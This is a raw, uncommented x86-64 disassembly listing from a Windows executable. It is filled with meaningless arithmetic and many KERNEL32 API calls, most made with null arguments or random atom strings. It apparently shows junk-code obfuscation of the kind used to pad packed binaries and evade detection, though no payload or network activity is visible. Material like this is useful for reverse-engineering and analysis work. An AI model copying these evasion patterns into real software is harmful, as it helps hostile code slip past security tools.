mov rdx, qword [rsp + 0xf0e8]
mov rcx, qword [rsp + 0xec08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67e0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
mov byte [rsp + 0x43a], al
mov rcx, qword [rsp + 0xe3a0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xf0f0], rax
mov rax, qword [rsp + 0xdc48]
mov ecx, dword [rsp + 0x57e4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x665c], eax
lea rax, [rsp + 0xd2c0]
mov qword [rsp + 0xf0f8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x67f4], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x69c8], eax
lea rcx, [rsp + 0x20d28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe0f8], rax
mov rax, qword [rsp + 0xdfd8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd660]
mov qword [rsp + 0xf100], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf100]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6684], eax
lea rax, [rsp + 0x38a]
mov qword [0x1401c8fe8], rax
mov rax, qword [rsp + 0xd068]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19f8]
sar eax, cl
mov rcx, qword [rsp + 0xc7f8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
lea rax, [rsp + 0x1e38]
mov qword [rsp + 0xf108], rax
lea rcx, [rsp + 0x1d660]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [0x1401c8c00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe310]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f84], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0xe818]
mov rax, qword [rax]
mov qword [rsp + 0xf110], rax
movsx eax, byte [rsp + 0x3ee]
movsx ecx, byte [rsp + 0x388]
add eax, ecx
mov byte [rsp + 0x3b8], al
lea rcx, [rsp + 0x20de8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe438], rax
lea rcx, [rsp + 0x208d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0xdc10]
mov rax, qword [rax]
mov rcx, qword [0x1401c7190]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa760], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xf118], rax
mov eax, dword [rsp + 0x5b60]
mov ecx, dword [rsp + 0x6138]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5764], eax
mov rax, qword [rsp + 0xdd90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x24b8]
add eax, ecx
mov word [rsp + 0x1898], ax
mov rax, qword [rsp + 0xc900]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2664]
sar eax, cl
mov word [0x1401c72c8], ax
mov rax, qword [rsp + 0xdde0]
mov rax, qword [rax]
mov qword [rsp + 0xf120], rax
movzx eax, word [0x1401c7150]
movzx ecx, word [rsp + 0x1360]
or eax, ecx
mov word [rsp + 0x2310], ax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0xe070]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x332], al
movzx ecx, word [rsp + 0x1f74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21b4], ax
mov eax, dword [rsp + 0x6a44]
mov ecx, dword [rsp + 0x6790]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x56a0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xeff8], rax
mov rax, qword [rsp + 0xe2a0]
mov rcx, qword [rsp + 0xbcc8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xe718], rax
mov rax, qword [rsp + 0xd608]
movzx eax, byte [rax]
mov byte [rsp + 0x43b], al
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x55d8]
shl eax, cl
mov rcx, qword [rsp + 0xd870]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe578]
movzx eax, word [rax]
mov word [rsp + 0x28a8], ax
movzx eax, word [rsp + 0x1fa0]
mov rcx, qword [rsp + 0xed50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c72cc], ax
mov rax, qword [0x1401c8e18]
mov rcx, qword [rsp + 0x98d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe260], rax
mov rax, qword [rsp + 0xb788]
mov rcx, qword [rsp + 0xe508]
mov qword [rsp + 0xf128], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf128]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xe3d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd3e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a34]
or eax, ecx
mov word [rsp + 0x1d44], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xf130], rax
movzx eax, word [rsp + 0xa20]
mov rcx, qword [rsp + 0xea50]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf30], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
movzx eax, byte [rsp + 0x3ee]
mov byte [rsp + 0x43c], al
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdc20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce70], rax
mov rax, qword [rsp + 0xd138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6554]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd2f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdde0]
mov rcx, qword [rsp + 0xd560]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaa80], rax
mov rax, qword [0x1401c8d38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd068]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401c8ae0]
mov word [rcx], ax
movzx ecx, word [rsp + 0x20b8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x249c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xc9a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e2c]
add eax, ecx
mov word [rsp + 0x200c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x3a3]
mov byte [rsp + 0x43d], al
lea rcx, [rsp + 0x206f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xd3b0]
mov rcx, qword [rsp + 0xc8c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6700], eax
mov rax, qword [rsp + 0xb588]
cqo
idiv qword [rsp + 0xa968]
mov qword [rsp + 0xc748], rax
movzx eax, byte [0x1401c700d]
mov byte [rsp + 0x43e], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xd6e8]
mov rcx, qword [rsp + 0xd870]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6104], eax
mov r9d, 2
lea r8, [rsp + 0xea08]
mov rdx, qword [rsp + 0xf138]
mov rcx, qword [rsp + 0xc330]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x68b8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rsp + 0xb8b0]
mov qword [rsp + 0xf140], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64f4], eax
mov rax, qword [rsp + 0xebc0]
movsx eax, word [rax]
movsx ecx, word [0x1401c70a0]
shl eax, cl
mov word [rsp + 0xe90], ax
movzx eax, word [rsp + 0x2604]
mov word [0x1401c8ff0], ax
mov rcx, qword [rsp + 0xc810]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xd0f8]
mov rcx, qword [rsp + 0xc3a0]
mov qword [rsp + 0xf148], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf148]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x95b0], rax
movzx eax, word [rsp + 0x19a0]
movzx ecx, word [rsp + 0x2278]
or eax, ecx
mov word [rsp + 0xaa0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x1ee8]
movsx ecx, word [rsp + 0x1848]
sub eax, ecx
mov word [rsp + 0x24a0], ax
lea rcx, [rsp + 0x1d890]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6940], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0xf010]
mov qword [rsp + 0xf150], rax
mov rax, qword [rsp + 0xce08]
movsx eax, byte [rax]
movsx ecx, byte [0x1401c8a13]
shl eax, cl
mov byte [rsp + 0x37f], al
lea rcx, [rsp + 0x20e18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xc978]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x247c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2140], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0xef20]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa9f8]
shr rax, cl
mov qword [rsp + 0xb080], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [0x1401c8a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x58ec], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0xc7f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x21b8]
sub eax, ecx
mov word [rsp + 0xd8c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd320], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xefc8]
mov rcx, qword [rsp + 0xc748]
sub rcx, rax
mov rax, rcx
mov qword [str.ttvW6E], rax
lea rcx, str.bcHF
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x28ac], ax
movzx eax, byte [0x1401c8a16]
mov byte [rsp + 0x43f], al
mov rax, qword [rsp + 0xd750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x569c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
movsx eax, word [rsp + 0x20dc]
mov rcx, qword [rsp + 0xea18]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc44], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
movzx eax, word [0x1401c7228]
movzx ecx, word [rsp + 0x1eac]
xor eax, ecx
mov word [rsp + 0x2200], ax
xor edx, edx
mov eax, dword [rsp + 0x61bc]
mov ecx, 0x735f
div ecx
mov dword [rsp + 0x5a54], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0xefb8]
mov qword [rsp + 0xf158], rax
lea rcx, str.jMd_Zf6wNTB_dfYi_X8Uh
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x28b0], ax
movsx eax, byte [0x1401c8a12]
movsx ecx, byte [rsp + 0x43e]
or eax, ecx
mov rcx, qword [rsp + 0xda98]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0xc1c0]
movzx eax, word [rax]
mov word [rsp + 0x28b4], ax
mov rax, qword [rsp + 0xe310]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x190c]
shl eax, cl
mov word [0x1401c72d0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0xdbb8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbc18]
sar rax, cl
mov qword [rsp + 0x9db0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca18]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcda0]
mov qword [rcx], rax
mov rax, qword [0x1401c8ec8]
movabs rcx, 0x7e01aa3afc8a56
mov rax, qword [rax]
imul rax, rcx
mov qword [rsp + 0xa050], rax
mov rcx, qword [rsp + 0xd900]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x20bd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xf108]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd9f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2024], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xdf08], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0xe450]
mov eax, dword [rax]
mov dword [rsp + 0x6be0], eax
mov rax, qword [rsp + 0xcf18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xefb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe378], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1ff48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xf0a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6908], eax
movsx eax, byte [rsp + 0x128]
mov rcx, qword [rsp + 0xea88]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2ce], al
mov rax, qword [rsp + 0xdc68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42c]
sar eax, cl
mov byte [rsp + 0x221], al
mov eax, dword [rsp + 0x5c30]
mov rcx, qword [rsp + 0xe350]
mov qword [rsp + 0xf160], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf160]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xe9b8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62b8], eax
lea rcx, [rsp + 0x20e48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rdx, [rsp + 0x25fb8]
mov rcx, qword [rsp + 0xe7e8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x69bc], eax
lea rcx, str.ns7AoBz_tvmRVJ8tVg6
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x28b8], ax
movzx ecx, word [rsp + 0x2074]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2550], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
movsx eax, word [rsp + 0x2180]
movsx ecx, word [rsp + 0x27c8]
add eax, ecx
mov word [0x1401c8f48], ax
lea rcx, str.DBCj4.MDSSLn6G
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x28bc], ax
movzx eax, word [rsp + 0x2350]
mov word [rsp + 0x28c0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6794], eax
movzx eax, word [rsp + 0x2644]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27c0], ax
mov rax, qword [rsp + 0x9b48]
mov qword [rsp + 0xf168], rax
xor edx, edx
mov eax, dword [rsp + 0x5e38]
mov rcx, qword [rsp + 0xc6d0]
div dword [rcx]
mov dword [rsp + 0x6380], eax
movsx eax, byte [rsp + 0x418]
movsx ecx, byte [rsp + 0x47]
and eax, ecx
mov rcx, qword [rsp + 0xc8f8]
mov byte [rcx], al
movzx ecx, word [rsp + 0x23f0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27bc], ax
movzx ecx, word [rsp + 0x2214]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28c4], ax
lea rcx, [rsp + 0x1feb8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [0x1401c7020]
mov rcx, qword [rsp + 0xddb8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9f0], rax
movsx eax, word [rsp + 0x2184]
movsx ecx, word [rsp + 0x1de0]
sar eax, cl
mov word [rsp + 0x1e38], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcd90], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6b5c], eax
movzx eax, word [rsp + 0xaa0]
mov word [rsp + 0x28c8], ax
mov rax, qword [rsp + 0xb5d0]
mov qword [0x1401c8ff8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
movzx eax, word [rsp + 0x2018]
mov rcx, qword [rsp + 0xd740]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2384], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0xe950]
mov rcx, qword [rsp + 0xd488]
mov qword [rsp + 0xf170], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf170]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xaea0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
lea rcx, [rsp + 0x1d7f0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8c58]
mov rcx, qword [rsp + 0xe920]
mov rax, qword [rax]
sub rax, rcx
movsx eax, byte [0x1401c8a12]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
and eax, ecx
mov dword [rsp + 0x942c], eax
movsx ecx, byte [rsp + 0x376]
mov rdx, qword [rsp + 0xc368]
movsx edx, byte [rdx]
mov dword [rsp + 0x9430], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x9430]
idiv ecx
mov ecx, dword [rsp + 0x942c]
cmp ecx, eax
jle 0x140195f42
lea rax, [rsp + 0xc110]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x641c]
lea r8, [rsp + 0xc260]
lea rdx, [rsp + 0xc030]
mov rcx, qword [rsp + 0xc310]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov dword [rsp + 0x63bc], eax
mov ecx, 0x61
call qword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [rsp + 0x6338], eax
jmp 0x140196054
mov eax, dword [rsp + 0x6380]
mov ecx, dword [0x1401c7008]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x63c4]
mov edx, dword [rsp + 0x6400]
or edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140196006
mov eax, dword [rsp + 0x6328]
mov ecx, dword [rsp + 0x6254]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62a4], eax
mov rcx, qword [rsp + 0xc1e8]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [rsp + 0x644c], eax
mov rcx, qword [rsp + 0xc058]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov dword [rsp + 0x63ac], eax
lea rax, [rsp + 0xc030]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x9434]
mov r8d, dword [rsp + 0x9434]
lea rdx, [rsp + 0xc110]
mov rcx, qword [rsp + 0x1d2f8]
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
mov dword [rsp + 0x6370], eax
mov edx, 4
mov rcx, qword [rsp + 0xc260]
call qword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
mov dword [rsp + 0x6400], eax
jmp 0x140196054
mov eax, dword [rsp + 0x62cc]
movzx ecx, al
mov eax, dword [rsp + 0x62d4]
shl eax, cl
mov ecx, dword [rsp + 0x62d0]
mov edx, dword [rsp + 0x6398]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140196054
mov r9, qword [rsp + 0xc360]
mov r8d, 0x61
mov edx, 0xc8
mov ecx, 0x81
call qword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
mov dword [rsp + 0x9438], eax
mov rax, qword [rsp + 0xc210]
mov r9, qword [rax]
mov rax, qword [rsp + 0xc328]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x30b]
mov ecx, dword [rsp + 0x6400]
call fcn.140197b30
jmp 0x140196263
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
add eax, ecx
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0xc268]
movsx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jge 0x140196263
mov rax, qword [rsp + 0xc1d8]
mov rcx, qword [rsp + 0xc218]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc118]
mov rdx, qword [rsp + 0xb0d8]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jle 0x1401960ef
jmp 0x1401961b4
mov eax, dword [rsp + 0x62a4]
movzx ecx, al
mov eax, dword [rsp + 0x6380]
shl eax, cl
mov ecx, dword [rsp + 0x63c4]
mov edx, dword [0x1401c7008]
or edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x140196139
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa5c], ax
jmp 0x1401961b4
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x376]
imul eax, ecx
movsx ecx, byte [rsp + 0x377]
movsx edx, byte [rsp + 0x1d7]
sub ecx, edx
cmp eax, ecx
jge 0x14019617c
mov rcx, qword [rsp + 0xc148]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [rsp + 0x633c], eax
jmp 0x1401961b4
lea rax, [rsp + 0x29de0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x29c80]
mov r8d, SHTestTokenMembership
lea rdx, [rsp + 0x1d300]
mov rcx, qword [rsp + 0xc228]
call qword [sym.imp.KERNEL32.dll_WriteFileEx]
mov dword [rsp + 0x943c], eax
lea rdx, [rsp + 0xc0f0]
mov rcx, qword [rsp + 0xc2b0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9440], eax
mov eax, dword [rsp + 0x63c4]
mov ecx, dword [rsp + 0x6328]
sub ecx, eax
mov eax, ecx
mov dword [0x1401c7008], eax
mov r8d, 0x90
lea rdx, [rsp + 0x29c80]
lea rcx, [rsp + 0x1f0c]
call qword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
mov dword [rsp + 0x6270], eax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x137c], ax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
or eax, ecx
mov word [rsp + 0x137c], ax
movzx eax, word [rsp + 0xfdc]
movzx ecx, word [rsp + 0x1f0c]
sar eax, cl
mov word [rsp + 0x1f20], ax
mov eax, dword [rsp + 0x6348]
mov ecx, dword [rsp + 0x6400]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x63c4]
mov edx, dword [rsp + 0x6380]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x1401962a7
mov eax, dword [rsp + 0x5728]
movzx ecx, al
mov eax, dword [rsp + 0x62d4]
sar eax, cl
mov dword [rsp + 0x62d0], eax
jmp 0x1401962ec
mov rax, qword [rsp + 0xc0d8]
movzx ecx, al
mov rax, qword [rsp + 0xc1a0]
shr rax, cl
mov rcx, qword [rsp + 0xc210]
mov rdx, qword [rsp + 0xa148]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
ja 0x1401962da
jmp 0x1401962ec
mov ecx, SHTestTokenMembership
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
mov dword [rsp + 0x63fc], eax
mov rax, qword [rsp + 0xc1d8]
mov rcx, qword [rsp + 0xc218]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc118], rax
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0x9ae8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1d8], rax
lea rdx, [rsp + 0x6398]
mov cl, 0xd8
call qword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
mov dword [rsp + 0x6368], eax
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc210]
mov qword [rsp + 0x1d308], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1d308]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbeb8], rax
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x1d7]
or eax, ecx
mov rcx, qword [rsp + 0xc328]
mov byte [rcx], al
mov rdx, qword [rsp + 0xc058]
mov rcx, qword [rsp + 0xc360]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x639c], eax
lea rdx, [rsp + 0xc178]
mov rcx, qword [rsp + 0xc2a0]
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov dword [rsp + 0x9444], eax
movsx eax, word [rsp + 0x1f50]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x137c], ax
lea r9, [rsp + 0x29be0]
lea r8, [rsp + 0x641c]
lea rdx, [rsp + 0xc070]
mov rcx, qword [rsp + 0xc2d8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x6370], eax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d7]
add eax, ecx
movsx ecx, byte [rsp + 0x375]
movsx edx, byte [rsp + 0x376]
xor ecx, edx
cmp eax, ecx
jl 0x1401964e4
